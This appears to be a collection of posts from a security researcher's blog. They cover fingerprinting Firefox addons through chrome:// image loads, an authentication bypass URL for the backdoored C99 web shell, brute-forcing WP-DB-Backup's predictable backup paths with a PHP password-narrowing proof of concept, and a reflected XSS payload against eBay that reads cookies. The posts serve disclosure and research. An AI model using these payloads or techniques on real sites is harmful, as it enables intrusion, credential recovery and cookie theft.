With the popular use of free software developed by inexperienced programmers, security vulnerabilities are becoming more and more frequent. With a new WordPress plugin exploit being released weekly, it begs the question – is it bad development or intentionally insecure software? Bring your tin foil hats as we take a hard look at the gray area surrounding software security negligence. Example offenders will be included, along with discussion on developing zero days for unreleased software.

After playing around with some of the cool Firefox Easter eggs I had an interesting thought about the internal chrome:// resources in the Firefox web browser.

In a previous post I found that I could access local Firefox resources such as style-sheets, images, and other local content in any public web page. For example, if you’re using the Firefox web browser, you know what the following image is:

Hint: It's iconic

For everyone else, the above image is broken.

This is because the image is actually a link to “about:logo”. It’s a reference to a local resource only found in Firefox flavored web browsers. When the image is viewed in Chrome, Internet Explorer, or Safari, the reference doesn’t exist and the image link is broken.

Alright, how about a consolation prize – what about this image?

Hint: Beep boop

That may be cool, but it does beg the question – can we abuse this?

Of course we can!

Subverting Same Origin for Browser & Addon Identification

With a little bit of trickery we can use these local references to:

  1. Identify Firefox with 100% accuracy

  2. Identify any Firefox addons with special “chrome.manifest” settings (to be covered below)

This can be done by doing something like the following:

<img src="about:logo" onload="alert('Browser is Firefox!')" />

Simply enough, if you get a JavaScript alert – you’re using Firefox!

(Interestingly enough, this doesn’t work on the Tor browser. Perhaps due to the NoScript addon?)

The same trick can be used to identify some addons as well. For example if you are using the “Resurrect Pages” addon, you can see the following image:

Using the same tactic as above, we can enumerate the install of “Resurrect Pages” via the following:

<img src="chrome://resurrect/skin/cacheicons/google.png" onload="alert('Browser has Resurrect Pages installed!')" />

So, how do we know what addons this works for?

From the Mozilla Developer Network:

“Chrome resources can no longer be referenced from within ,

https://developer.mozilla.org/en-US/docs/Chrome_Registration

To put it short, if the addon has a line like the following in it’s “chrome.manifest” file:

content packagename chrome/path/ contentaccessible=yes

Then the addon’s resources can be included just like any other web resource. Which means if the addon has any style-sheets, images, or JavaScript – it can be enumerated!

When I was first investigating this behavior I thought I was original, but of course others have attempted this as well:

http://webdevwonders.com/detecting-firefox-add-ons/

http://ha.ckers.org/blog/20060823/detecting-firefox-extentions/

Oh well, let’s do it on a bigger scale!

Gathering Firefox Addon Analytics

In order to get a comprehensive list of which addons had set this “contentaccessible” flag to “yes”, I scraped ~12K addons from the Firefox Addons website. Each addon XPI was parsed for it’s “chrome.manifest” file for the “contentaccessible=yes” flag. If the flag existed, the proper chrome URI was generated for each file in the content path. These path’s were then used to construct a JavaScript scanner that works by making references to these chrome URIs and checking if they are valid via the “onload” event.

The completed scanner:

Selection_113

After taking analytics on all of these addons it was found that only a mere ~400 had the proper contentaccessible flag combined with detectable resources. By detectable resources I mean resources such as JavaScript, CSS, or images that could be embedded and detected. This means that out of all the addons, only about ~3.3% could be detected in this manor. Although there are other methods of detecting the presence of Firefox addons. For example, despite the Adblock Plus addon not having a contentaccessible flag, it can be detected by attempting to make a script or image reference to a blocked domain. If the reference fails to load on a file that is perfectly valid, we know it is being blocked by Adblock Plus or some other anti advertisement addon. In the same manor we could  fingerprint which Adblock Plus list is being used.

The detection of addons is quite quick and only takes a few seconds to complete. This is due to the fact that the references are local, so they aren’t being grabbed off a webserver but directly from the browser itself. To try the scanner out in your Firefox browser, see the following link:

//thehackerblog.com/addon_scanner/

For other hackers or web developers, a full JSON dump of the data collected is available here (warning, big file!). This contains data on publicly accessible chrome:// URIs as well as basic information on every addon collected. I’d link to the dump of all the Firefox addon XPIs downloaded but it goes well over a gigabyte in size and I’m not sure if re-hosting addons is allowed.

As a final point, being able to access this data has another advantage. If any information is leaked in the JavaScript resources such as local filesystem references, OS information, etc, this could be included and potentially could leak sensitive information. After checking many of the chrome:// resources inside Firefox itself I found that most references to the browser’s version or other information have been crudely commented out. I assume because someone else has attempted this style of enumeration before. Not to mention if the content is vulnerable to XSS, you have remote code execution due to the JavaScript running at the same level as a Firefox addon.

Until next time,

-mandatory

Earlier I made a post calling out the wrong people for backdooring the C99.php shell hosted on r57.gen.tr. They look to possibly be only exploiting an already existing vulnerability in the C99 shell. The truth is the C99 shell is just plain backdoored. I’d apologize but the JavaScript tracking on their distributed shells is still pretty sketchy so I have a feeling they are aware of the backdoor.

For those who missed it, the C99 shell has a backdoor due to a vulnerability in the use of the extract() command.

The vulnerable lines:

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg         = "#FFFFFF";
$highlight_comment    = "#6A6A6A";
$highlight_default    = "#0000BB";
$highlight_html       = "#1300FF";
$highlight_keyword    = "#007700";
$highlight_string     = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);

//END CONFIGURATION

// 				\/	Next code isn't for editing	\/
$tmp = array();

This line allows you to overwrite any variable using an array:

@extract($_REQUEST["c99shcook"]);

Which is weirdly right over this code:

if ($login) {
    if (empty($md5_pass)) {
        $md5_pass = md5($pass);
    }
    if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
        if ($login_txt === false) {
            $login_txt = "";
        } elseif (empty($login_txt)) {
            $login_txt = strip_tags(ereg_replace(" |<br>", " ", $donated_html));
        }
        header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
        header("HTTP/1.0 401 Unauthorized");
        exit($accessdeniedmess);
    }
}

Which means if we change our URL to:

http://127.0.0.1/c99.php?c99shcook[login]=0

We bypass all of that nasty authentication!

Selection_099

This can also be done via POST or via cookies for easier access.

If you intended on using the C99 shell for anything I’d recommend against it, or if you do, feel free to share the link.

For more fun, here is a list of C99 shell Google dorks: http://www.hackingsec.in/2012/04/google-dorks-find-backdoor-c99-find.html

(For those looking for a better shell, check out Weevely)

After installing the WordPress plugin “WP-DB-Backup” found at http://wordpress.org/plugins/wp-db-backup/ I saw some insecure looking practices being taken when it came to storing the created backups. At the time of this writing there is just over two million downloads of this plugin and it has a rating of 3.8/5 stars. The reason I’m posting this however, is because it has some interesting security issues that I’d like to share.

Checking for a WP-DB-Backup Install

**You can find out if a site is running this software by probing for the existence of certain files in the /wp-content/plugins/wp-db-backup/ folder.

The files you can probe for are as follows:

LICENSE 
README.markdown 
readme.txt 
wp-db-backup-ar.mo 
wp-db-backup-ar.po 
wp-db-backup-ca.mo 
wp-db-backup-ca.po 
wp-db-backup-de_DE.mo 
wp-db-backup-de_DE.po 
wp-db-backup-el.mo 
wp-db-backup-el.po 
wp-db-backup-es_ES.mo 
wp-db-backup-es_ES.po 
wp-db-backup-fa_IR.mo 
wp-db-backup-fa_IR.po 
wp-db-backup-fr_FR.mo 
wp-db-backup-fr_FR.po 
wp-db-backup-it_IT.mo 
wp-db-backup-it_IT.po 
wp-db-backup-ja.mo 
wp-db-backup-ja.po 
wp-db-backup-ko_KR.mo 
wp-db-backup-ko_KR.po 
wp-db-backup-nb_NO.mo 
wp-db-backup-nb_NO.po 
wp-db-backup.php 
wp-db-backup.pot 
wp-db-backup-pt_BR.mo 
wp-db-backup-pt_BR.po 
wp-db-backup-ru_RU.mo 
wp-db-backup-ru_RU.po 
wp-db-backup-sv_SE.mo 
wp-db-backup-sv_SE.po 
wp-db-backup-tr_TR.mo 
wp-db-backup-tr_TR.po 
wp-db-backup-zh_CN.mo 
wp-db-backup-zh_CN.po

Storage of Backups

TL;DR if they are using a guessable database name/prefix you can enumerate the .sql backups – but it’ll cost you quite a few HTTP requests per try.

The plugin takes a backup of your WordPress database and exports it as a flat .sql file to restore from later. You can export the backups to your local computer, over email, or just simply stored on the web server. Backing up to the web server is discouraged in the readme.txt file:

Although WP-DB-Backup provides the option of saving the backup file to the server, I strongly discourage anyone from leaving backed-up database files on the server. If the server is not perfectly configured, then someone could gain access to your data, and I do not want to make it easy for that to happen.

Luckily, nobody actually reads the readme.txt, considering most people are just using WordPress to install the plugin. This is a good warning, but even a perfectly configured server could be danger due to insufficient entropy being used in the creation of SQL backups.

The backups are stored in a “randomly” generated folder inside of “wp-contents”. I put “randomly” in quotes because this is how that folder name is generated:

$rand = substr( md5( md5( DB_PASSWORD ) ), -5 );
...
define('WP_BACKUP_DIR', $wpdbb_content_dir . '/backup-' . $rand . '/');

Yes, the folder is generated based off of the last five characters of the WordPress database password (after double MD5ing it for super security).

So we have to bruteforce these five hexadecimal digits – what’s the math on that? Since our keyspace is any hex character and we have a total of five digits we have 16^5 possibilities or 1,048,576 permutations. That’s not too bad but how do we know when we’ve gotten the correct folder? Luckily for us we have a blank index.php file inside this directory. If we get an HTTP 200 OK instead of a 404 it means we’ve hit paydirt. That’s still a pretty time consuming key space, but certainly not impossible to enumerate. Assuming we can do ~100 requests a second it would take us just under three hours to crack this directory name.

Once we have the folder we are closer to obtaining the SQL backups we crave. Are these SQL backup filenames random as well? Not exactly, the file names are generated like the following:

$datum = date("Ymd_B");
$this->backup_filename = DB_NAME . "_$table_prefix$datum.sql";

Yuck, this may present a problem. The variables are as follows:

DB_NAME: The WordPress database name (this is the tricky part)

$table_prefix: The WordPress database prefix (default “wp_” )

$datum: Generated via PHP date “Ymd_B” – that’s a four digit year (0000), a two digit month (00), a two digit day (00), and a three digit Swatch Internet Time (000).

With a bit of intelligence in our approach we can get the $datum field down to a much shorter keyspace. For example, say we knew the year but nothing else – what would the number of permutations be? We can rule out quite a bit of keyspace, there is never a month over 21, never a day over 31, and never a swatch time over 999.

The math is: 12 * 31 * 999 = 371,628 permutations. This is a round up considering all months don’t have 31 day but still not a large key space.

Assuming 371,628 attempts for each year tested, any WordPress blog could be bruteforcable if we know the table prefix and database name.

Those Enumerated Hex Digits

EDIT: As an important side note the directory for backups is created before any backups are ever made. This means these hex characters are leaked by just installing the plugin.

So assume we couldn’t find the .sql backups because we don’t know the database name or prefix. We still have those neat tailing characters of the password. Can five leaked characters really help us that much?

You’d be surprised what five characters can do!

Say for example our last five characters of the database password are “17c82”. How much does this narrow down our password list?

For this example I’ve created a quick proof of concept in PHP:

<?php
$target = "17c82";
$fp = fopen( 'rockyou.txt', 'r' );
if( $fp ) {
    while( ( $line = fgets( $fp ) ) !== false ) {
        $tail = substr( md5( md5( trim($line) ) ), -5 );
        if ( $tail === $target ) {
            echo trim( $line )."\n";
        }
    }
}
fclose( $fp );

We will be using the infamous “rockyou.txt” wordlist for this demonstration, the script simply takes each password, calculates the double MD5 hash, and checks for those last five characters. If the password is found then it is printed to the screen for us as a possible password. The rockyou.txt wordlist has a total of 14,344,391 passwords in it, how many can we shrink that down to?

After running the script we get the following output:

mandatory@mandatorys-box ~/P/c/password_lists> php poc.php 
sexy42 
09104913264 
totallysexy 
sarra12 
mjhdh1964 
mike32165 
marymary52 
magandaga 
esbcjb 
dn12ntleo* 
deidrch 
carinomacam 
canthack 
Pumbathepig. 
N0f8ar 
2120983 
147131 
096529540 
0896260024 
0853479846 
mandatory@mandatorys-box ~/P/c/password_lists>

For those counting at home we just went from 14,344,391 passwords to just 20 – not bad at all! The actual password was “canthack” which luckily was in rockyou.txt. If this proof of concept isn’t convincing enough I encourage you to modify this PoC to test on your own wordlist. Lets just pray that they don’t reused the database password on the login (or anywhere else)!

The reverse could also be done, to enumerate the directory it might just be easier to take a list of common passwords and calculate the double MD5 for them. You’d then use these last five hex digits as possible directory names for enumeration.

Obviously, I’d highly recommend people to not use this plugin. At least there is no obvious Google dork to enumerate every site running it.

-mandatory

Thought I’d write a post on my experience with eBay’s security submission team and also to keep an archive of my various bug submissions.

The vulnerability was reflected XSS due to improper sanitation of a user inputted parameter itemId in eBay mobile. Found it manually by just tampering inputs and watching the output.

The XSS

Yummy Cookies

Yummy Cookies

http://m.ebay.com/recfb?sid=adoramacamera&itemId=331087337021%22%20onclick%3D%22alert%28document.cookie%29

Yep, it was really that simple, oddly enough. I reported it initially and got an automated response stating to not contact them with the bug status for any reason and that they would get back to me eventually.

So I waited…and waited…and waited. A few months later I felt that I had waited more than enough – I understand they are most likely busy but I contacted them. Turns out they had lost the message! Oops! After resubmitting the bug to them they added me to the eBay hall of fame promptly and everything was smooth from there.

Overall I’d say eBay was a very nice and straightforward company to report to. Even though they don’t run a proper bug bounty program the hall of fame is always cool for researchers :)

For those looking to report vulnerabilities in eBay check out this link to submit: http://ebay.com/securitycenter/Researchers.html

The eBay hall of fame: http://ebay.com/securitycenter/ResearchersAcknowledgement.html

Until next time,

-mandatory